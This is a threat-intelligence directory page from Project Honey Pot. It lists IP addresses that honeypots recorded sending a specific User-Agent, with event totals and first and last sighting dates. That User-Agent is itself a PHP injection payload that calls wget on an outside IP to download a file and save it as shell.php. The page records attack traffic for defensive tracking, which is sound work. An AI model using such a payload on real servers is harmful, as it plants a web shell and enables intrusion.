Directory of Malicious IPs

The list below is comprised of Malicious IPs that are:

Arranged by their Last Bad Event
Seen with User-Agent: <?php system('wget 101.99.5.63/doh.txt -O shell.php');?>

Malicious IP	Event	Total	First	Last
85.248.227.163 \| CR	Bad Event	2,187	2017-03-17	2021-01-19
65.19.167.132 \| C	Bad Event	2,315	2017-03-17	2018-07-31
78.109.23.1 \| C	Bad Event	5,970	2017-03-17	2018-07-16
96.255.14.191 \| C	Bad Event	6	2017-09-26	2018-01-29
5.188.11.165 \| SDC	Bad Event	21,070	2017-09-12	2017-11-14
79.137.67.116 \| C	Bad Event	1,064	2017-07-05	2017-09-14
89.248.166.157 \| C	Bad Event	630	2017-03-17	2017-08-24
185.103.99.60 \| C	Bad Event	432	2017-03-19	2017-08-24
176.10.99.203 \| C	Bad Event	644	2017-03-17	2017-08-24
79.137.79.167 \| C	Bad Event	2,540	2017-04-28	2017-08-23

Click any IP address for more details | Last updated: May 02 2024 07:04:56 PM

Information is obtained from our worldwide network of honey pots. Please note: being listed on these pages does not necessarily mean an IP address is owned by a spammer. For example, it may have been hijacked from its true owner. If you believe an IP address is listed here in error, contact us and we will investigate.

To track harvesters and other malicious robots visiting your own website, sign up with Project Honey Pot today. It's fast, free, easy, and one of the ways you can help make the Internet a better, safer place.

Link to this page:
RSS for this page:

This page displays the top IPs by different categories. You may sort or limit this list by selecting from the menus below.

See comment spammers, dictionary attackers, or mail servers from the same region.

You may also lookup information on a specific IP address.

If you want to see a list of IPs specifically targeting your own websites simply join Project Honey Pot and add honey pots to the sites you want to monitor.

An RSS feed for this page is available.

Advertisements displayed on this page are not necessarily endorsed by Project Honey Pot